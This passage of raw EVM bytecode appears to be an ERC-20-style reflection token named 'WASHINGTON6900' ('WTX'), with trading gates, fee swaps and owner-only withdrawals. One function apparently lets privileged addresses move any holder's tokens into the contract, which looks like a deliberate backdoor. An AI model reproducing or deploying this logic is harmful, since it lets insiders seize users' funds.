60405180910390f35b34801561041f575f80fd5b5061043a60048036038101906104359190614337565b610f51565b6040516104479190614295565b60405180910390f35b34801561045b575f80fd5b50610476600480360381019061047191906141c5565b610fef565b005b348015610483575f80fd5b5061048c61108e565b604051610499919061421d565b60405180910390f35b3480156104ad575f80fd5b506104c860048036038101906104c39190614375565b6110a1565b6040516104d5919061421d565b60405180910390f35b3480156104e9575f80fd5b5061050460048036038101906104ff9190614375565b6110f3565b604051610511919061421d565b60405180910390f35b348015610525575f80fd5b5061052e611110565b60405161053b9190614295565b60405180910390f35b34801561054f575f80fd5b50610558611116565b6040516105659190614295565b60405180910390f35b348015610579575f80fd5b5061058261111c565b60405161058f9190614295565b60405180910390f35b3480156105a3575f80fd5b506105ac611122565b6040516105b9919061421d565b60405180910390f35b3480156105cd575f80fd5b506105e860048036038101906105e39190614375565b611135565b6040516105f59190614295565b60405180910390f35b348015610609575f80fd5b50610612611218565b005b34801561061f575f80fd5b5061062861129f565b60405161063894939291906143a0565b60405180910390f35b34801561064c575f80fd5b506106556112bc565b005b348015610662575f80fd5b5061066b6113a3565b60405161067891906143f2565b60405180910390f35b34801561068c575f80fd5b506106a760048036038101906106a29190614375565b6113c8565b6040516106b4919061421d565b60405180910390f35b3480156106c8575f80fd5b506106d161141a565b6040516106de91906143f2565b60405180910390f35b3480156106f2575f80fd5b506106fb611441565b6040516107089190614114565b60405180910390f35b34801561071c575f80fd5b5061072561147e565b60405161073594939291906143a0565b60405180910390f35b348015610749575f80fd5b50610764600480360381019061075f91906142ae565b61149b565b005b61076e6115a1565b005b34801561077b575f80fd5b50610796600480360381019061079191906141c5565b611a64565b6040516107a3919061421d565b60405180910390f35b3480156107b7575f80fd5b506107c0611bf5565b6040516107cd91906143f2565b60405180910390f35b3480156107e1575f80fd5b506107fc60048036038101906107f791906141c5565b611c1a565b604051610809919061421d565b60405180910390f35b34801561081d575f80fd5b50610826611cd2565b60405161083391906143f2565b60405180910390f35b348015610847575f80fd5b50610862600480360381019061085d919061440b565b611cf7565b60405161086f9190614295565b60405180910390f35b348015610883575f80fd5b5061088c611d79565b6040516108999190614295565b60405180910390f35b3480156108ad575f80fd5b506108c860048036038101906108c39190614375565b611d7f565b005b3480156108d5575f80fd5b506108de611e75565b6040516108ee94939291906143a0565b60405180910390f35b348015610902575f80fd5b5061090b611e92565b60405161091891906144a4565b60405180910390f35b60606040518060400160405280600e81526020017f57415348494e47544f4e36393030000000000000000000000000000000000000815250905090565b5f33600460149054906101000a900460ff16806109c1575060085f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b610a00576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f790614507565b60405180910390fd5b610a12610a0b611eb7565b8585611ebe565b600191505092915050565b610a25611eb7565b73ffffffffffffffffffffffffffffffffffffffff16610a4361141a565b73ffffffffffffffffffffffffffffffffffffffff1614610a99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a909061456f565b60405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401610ad492919061458d565b6020604051808303815f875af1158015610af0573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b1491906145c8565b50505050565b610b22611eb7565b73ffffffffffffffffffffffffffffffffffffffff16610b4061141a565b73ffffffffffffffffffffffffffffffffffffffff1614610b96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8d9061456f565b60405180910390fd5b6001600460146101000a81548160ff0219169083151502179055506001600460156101000a81548160ff02191690831515021790555043601081905550565b5f6009600a610be4919061474f565b633b9aca00610bf39190614799565b905090565b5f83600460149054906101000a900460ff1680610c5b575060085f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b610c9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9190614507565b60405180910390fd5b610ca5858585612081565b5f60055f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610cec611eb7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905083811015610d6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d629061484a565b60405180910390fd5b610d8886610d77611eb7565b8684610d839190614868565b611ebe565b6001925050509392505050565b60105481565b5f600b54821115610de1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd89061490b565b60405180910390fd5b5f610dea612ad4565b90508083610df89190614956565b915050919050565b5f6009905090565b5f33600460149054906101000a900460ff1680610e6b575060085f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b610eaa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea190614507565b60405180910390fd5b610f46610eb5611eb7565b858560055f610ec2611eb7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610f419190614986565b611ebe565b600191505092915050565b5f6009600a610f60919061474f565b633b9aca00610f6f9190614799565b831115610fb1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa890614a03565b60405180910390fd5b81610fd1575f610fc38460015f612af6565b9050805f0151915050610fe9565b5f610fde8460015f612af6565b905080602001519150505b92915050565b33610ff9816110a1565b611001575f80fd5b61100b8383612b6c565b3073ffffffffffffffffffffffffffffffffffffffff166323b872dd8430856040518463ffffffff1660e01b815260040161104893929190614a21565b6020604051808303815f875af1158015611064573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061108891906145c8565b50505050565b600460149054906101000a900460ff1681565b5f60065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b6008602052805f5260405f205f915054906101000a900460ff1681565b600e5481565b600f5481565b600d5481565b600460159054906101000a900460ff1681565b5f60075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16156111ca5760025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050611213565b61121060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610d9b565b90505b919050565b611220611eb7565b73ffffffffffffffffffffffffffffffffffffffff1661123e61141a565b73ffffffffffffffffffffffffffffffffffffffff1614611294576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128b9061456f565b60405180910390fd5b61129d5f612bb8565b565b6011805f0154908060010154908060020154908060030154905084565b6112c4611eb7565b73ffffffffffffffffffffffffffffffffffffffff166112e261141a565b73ffffffffffffffffffffffffffffffffffffffff1614611338576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132f9061456f565b60405180910390fd5b6009600a611346919061474f565b633b9aca006113559190614799565b600d819055506009600a611369919061474f565b633b9aca006113789190614799565b600e819055506009600a61138c919061474f565b633b9aca0061139b9190614799565b600f81905550565b601d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f5754580000000000000000000000000000000000000000000000000000000000815250905090565b6019805f0154908060010154908060020154908060030154905084565b6114a3611eb7565b73ffffffffffffffffffffffffffffffffffffffff166114c161141a565b73ffffffffffffffffffffffffffffffffffffffff1614611517576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150e9061456f565b60405180910390fd5b8047101561155a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155190614aa0565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f1935050505015801561159d573d5f803e3d5ffd5b5050565b6115a9611eb7565b73ffffffffffffffffffffffffffffffffffffffff166115c761141a565b73ffffffffffffffffffffffffffffffffffffffff161461161d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116149061456f565b60405180910390fd5b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611687573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906116ab9190614ad2565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611731573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906117559190614ad2565b6040518363ffffffff1660e01b8152600401611772929190614afd565b6020604051808303815f875af115801561178e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906117b29190614ad2565b600a5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160075f600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506003600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060018154018082558091505060019003905f5260205f20015f9091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160085f600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506119aa3060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff611ebe565b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71934306119f230611135565b5f806119fc61141a565b426040518863ffffffff1660e01b8152600401611a1e96959493929190614b5d565b60606040518083038185885af1158015611a3a573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190611a5f9190614bd0565b505050565b5f33600460149054906101000a900460ff1680611ac7575060085f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b611b06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611afd90614507565b60405180910390fd5b5f60055f611b12611eb7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905083811015611bcc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bc390614c90565b60405180910390fd5b611be9611bd7611eb7565b868684611be49190614868565b611ebe565b60019250505092915050565b600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f33600460149054906101000a900460ff1680611c7d575060085f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b611cbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cb390614507565b60405180910390fd5b611cc7338585612081565b600191505092915050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b600c5481565b611d87611eb7565b73ffffffffffffffffffffffffffffffffffffffff16611da561141a565b73ffffffffffffffffffffffffffffffffffffffff1614611dfb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611df29061456f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611e69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e6090614d1e565b60405180910390fd5b611e7281612bb8565b50565b6015805f0154908060010154908060020154908060030154905084565b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611f2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f2390614dac565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611f9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f9190614e3a565b60405180910390fd5b8060055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516120749190614295565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036120ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e690614ec8565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361215d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161215490614f56565b60405180910390fd5b5f811161219f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161219690614fe4565b60405180910390fd5b6121a883611135565b8111156121ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121e190615072565b60405180910390fd5b60065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015612288575060065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156122dd57600460149054906101000a900460ff166122dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122d3906150da565b60405180910390fd5b5b60065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615801561237b575060065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b801561238957506010544311155b1561241e57600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361241d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161241490615168565b60405180910390fd5b5b600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156124c1575060065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80156124da5750600460169054906101000a900460ff16155b1561257d57600d54811115612524576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161251b906151d0565b60405180910390fd5b600f548161253184611135565b61253b9190614986565b111561257c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161257390615238565b60405180910390fd5b5b600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015612621575060065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015612674575060065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b801561268d5750600460169054906101000a900460ff16155b1561278557600e548111156126d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126ce906152a0565b60405180910390fd5b600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161461278457600f548161273884611135565b6127429190614986565b1115612783576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161277a90615238565b60405180910390fd5b5b5b5f600c5461279230611135565b10159050600460169054906101000a900460ff161580156127bf5750600460159054906101000a900460ff165b80156127c85750805b80156128215750600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015612874575060065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80156128c7575060065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156129a557600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036129645761295f600c5460156040518060800160405290815f82015481526020016001820154815260200160028201548152602001600382015481525050612c79565b6129a4565b6129a3600c5460116040518060800160405290815f82015481526020016001820154815260200160028201548152602001600382015481525050612c79565b5b5b5f600190505f600460169054906101000a900460ff1680612a0c575060065f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80612a5d575060065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b15612a66575f91505b600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1603612abf57600190505b612acc8686868585612eb7565b505050505050565b5f805f612adf61334d565b915091508082612aef9190614956565b9250505090565b612afe614017565b612b0984848461363b565b9050612b1e818585612b19612ad4565b6137bf565b855f018660200187604001886060018960800185815250858152508581525085815250858152505050505050612b5c8184612b57612ad4565b613873565b8160a00181815250509392505050565b5f3090505f612b7b8285611cf7565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114612bb257612bb18483858403611ebe565b5b50505050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6001600460166101000a81548160ff0219169083151502179055505f6002826060015183602001518460400151612cb09190614986565b612cba9190614986565b612cc49190614799565b90505f81836040015185612cd89190614799565b612ce29190614956565b90505f8185612cf19190614868565b90505f479050612d008261389c565b5f808247612d0e9190614868565b90505f876040015187612d219190614868565b82612d2c9190614956565b90505f886040015182612d3f9190614799565b90505f811115612d5457612d538782613ad2565b5b5f8960200151600284612d679190614799565b612d719190614799565b90505f612d9e60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611135565b9050600c54811115612dc95785612db5575f612dbb565b8a602001515b82612dc69190614956565b91505b5f821115612e1c57612e1b8260045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16613bb290919063ffffffff16565b5b5f8b60600151600286612e2f9190614799565b612e399190614799565b90505f811115612e8e57612e8d81601d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16613bb290919063ffffffff16565b5b50505050505050505050505f600460166101000a81548160ff0219169083151502179055505050565b5f612ec3848484612af6565b905060075f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615612f9f578360025f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612f5d9190614868565b60025f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b60075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161561307d578060c0015160025f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461303b9190614986565b60025f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b805f015160015f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546130c99190614868565b60015f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550806020015160015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546131579190614986565b60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f816040015111806131ad57505f8160e00151115b156131c5576131c481604001518260e00151613ca2565b5b5f816080015111806131db57505f816101200151115b1561327e576131f38160800151826101200151613cd8565b3073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83610140015184610100015185610120015161325e9190614986565b6132689190614986565b6040516132759190614295565b60405180910390a35b5f8160600151118061329457505f816101000151115b156132ad576132ac8160600151826101000151613ded565b5b5f8160a0015111806132c357505f816101400151115b156132dc576132db8160a00151826101400151613f02565b5b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360c0015160405161333d9190614295565b60405180910390a3505050505050565b5f805f600b5490505f6009600a613364919061474f565b633b9aca006133739190614799565b90505f5b6003805490508110156135d1578260015f6003848154811061339c5761339b6152be565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054118061348157508160025f6003848154811061341d5761341c6152be565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054115b156134b257600b546009600a613497919061474f565b633b9aca006134a69190614799565b94509450505050613637565b60015f600383815481106134c9576134c86152be565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054836135369190614868565b925060025f6003838154811061354f5761354e6152be565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054826135bc9190614868565b915080806135c9906152eb565b915050613377565b506009600a6135e0919061474f565b633b9aca006135ef9190614799565b600b546135fc9190614956565b82101561362e57600b546009600a613614919061474f565b633b9aca006136239190614799565b935093505050613637565b81819350935050505b9091565b613643614017565b8261365757838160c00181815250506137b8565b61365f614066565b82156136a05760156040518060800160405290815f8201548152602001600182015481526020016002820154815260200160038201548152505090506136d7565b60116040518060800160405290815f8201548152602001600182015481526020016002820154815260200160038201548152505090505b6064815f0151866136e89190614799565b6136f29190614956565b8260e0018181525050606481602001518661370d9190614799565b6137179190614956565b8261010001818152505060648160400151866137339190614799565b61373d9190614956565b8261012001818152505060648160600151866137599190614799565b6137639190614956565b826101400181815250508161014001518261012001518361010001518460e001518861378f9190614868565b6137999190614868565b6137a39190614868565b6137ad9190614868565b8260c0018181525050505b9392505050565b5f805f805f85886137d09190614799565b9450866137eb5784855f805f94509450945094509450613868565b858960e001516137fb9190614799565b92508589610100015161380e9190614799565b9150858961012001516138219190614799565b90505f868a61014001516138359190614799565b905080828486896138469190614868565b6138509190614868565b61385a9190614868565b6138649190614868565b9450505b945094509450945094565b5f82613881575f9050613895565b818461014001516138929190614799565b90505b9392505050565b5f600267ffffffffffffffff8111156138b8576138b7615332565b5b6040519080825280602002602001820160405280156138e65781602001602082028036833780820191505090505b50905030815f815181106138fd576138fc6152be565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156139a1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906139c59190614ad2565b816001815181106139d9576139d86152be565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050613a3f3060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611ebe565b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401613aa1959493929190615416565b5f604051808303815f87803b158015613ab8575f80fd5b505af1158015613aca573d5f803e3d5ffd5b505050505050565b613afe3060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611ebe565b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198230855f80613b4861141a565b426040518863ffffffff1660e01b8152600401613b6a96959493929190614b5d565b60606040518083038185885af1158015613b86573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190613bab9190614bd0565b5050505050565b80471015613bf5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613bec906154b8565b60405180910390fd5b5f8273ffffffffffffffffffffffffffffffffffffffff1682604051613c1a90615503565b5f6040518083038185875af1925050503d805f8114613c54576040519150601f19603f3d011682016040523d82523d5f602084013e613c59565b606091505b5050905080613c9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613c9490615587565b60405180910390fd5b505050565b81600b5f828254613cb39190614868565b925050819055508060195f015f828254613ccd9190614986565b925050819055505050565b8060196002015f828254613cec9190614986565b9250508190555060075f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615613d96578060025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254613d8e9190614986565b925050819055505b8160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254613de29190614986565b925050819055505050565b8060196001015f828254613e019190614986565b9250508190555060075f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615613eab578060025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254613ea39190614986565b925050819055505b8160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254613ef79190614986565b925050819055505050565b8060196003015f828254613f169190614986565b9250508190555060075f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615613fc0578060025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254613fb89190614986565b925050819055505b8160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461400c9190614986565b925050819055505050565b6040518061016001604052805f81526020015f81526020015f81526020015f81526020015f81526020015f81526020015f81526020015f81526020015f81526020015f81526020015f81525090565b60405180608001604052805f81526020015f81526020015f81526020015f81525090565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156140c15780820151818401526020810190506140a6565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6140e68261408a565b6140f08185614094565b93506141008185602086016140a4565b614109816140cc565b840191505092915050565b5f6020820190508181035f83015261412c81846140dc565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61416182614138565b9050919050565b61417181614157565b811461417b575f80fd5b50565b5f8135905061418c81614168565b92915050565b5f819050919050565b6141a481614192565b81146141ae575f80fd5b50565b5f813590506141bf8161419b565b92915050565b5f80604083850312156141db576141da614134565b5b5f6141e88582860161417e565b92505060206141f9858286016141b1565b9150509250929050565b5f8115159050919050565b61421781614203565b82525050565b5f6020820190506142305f83018461420e565b92915050565b5f805f6060848603121561424d5761424c614134565b5b5f61425a8682870161417e565b935050602061426b8682870161417e565b925050604061427c868287016141b1565b9150509250925092565b61428f81614192565b82525050565b5f6020820190506142a85f830184614286565b92915050565b5f602082840312156142c3576142c2614134565b5b5f6142d0848285016141b1565b91505092915050565b5f60ff82169050919050565b6142ee816142d9565b82525050565b5f6020820190506143075f8301846142e5565b92915050565b61431681614203565b8114614320575f80fd5b50565b5f813590506143318161430d565b92915050565b5f806040838503121561434d5761434c614134565b5b5f61435a858286016141b1565b925050602061436b